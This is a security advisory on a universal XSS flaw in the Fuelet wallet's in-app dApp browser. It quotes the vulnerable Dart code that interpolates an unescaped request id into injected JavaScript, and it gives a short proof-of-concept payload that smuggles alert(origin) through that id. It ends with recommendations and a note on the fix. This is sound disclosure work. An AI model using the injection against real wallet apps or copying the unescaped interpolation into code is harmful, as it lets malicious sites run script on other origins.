Universal XSS in Fuelet dApp WebView
Description
The Fuelet iOS and Android apps use a WebView (using WebKit on iOS and Chromium on Android) that allows users to access dApps. The Fuelet app injects a JavaScript shim that allows JavaScript running in the WebView to interact with the native Fuelet app.
However, the WebView is vulnerable to universal XSS via injection in the id
field in sendResponseToJs
(fuelet/lib/presentation/browser/screens/state/browser_page_screen_state/browser_page_screen_bloc.dart):
Future<void> sendResponseToJs(
{required String id,
required String method,
dynamic result,
String? error}) async {
final response = jsonEncode({
'source': method,
'result': result,
'error': error,
}).replaceAll('"', '\\"');
_controller
.runJavaScript('receiveResponseFromFlutter("$id", "$response");');
}
An attacker may exploit this to execute JavaScript on another origin by sending a request then navigating to the victim origin before the Fuelet wallet sends the response.
To test this vulnerability, executing alert(origin)
on example.com, we can run the following JavaScript code:
location = '//example.com'
FueletWallet.postMessage(JSON.stringify({
type: 'request',
target: 'FuelContentScript',
connectorName: 'Fuelet Wallet',
request: {
jsonrpc: '2.0',
id: '",alert(origin),"',
method: 'connect',
params: {}
}
}))
Impact
This issue allows any malicious website a user visits to compromise any other website loaded in the WebView.
Recommendations
The Fuelet team should
ensure that
postMessage
responses are only sent to the origin that initiated the request, andproperly escape both the
id
andresponse
parameters via JSON encoding insendResponseToJs
.
Remediation
This issue has been acknowledged by Fuelet Wallet, and a fix was implemented in commit d686818↗.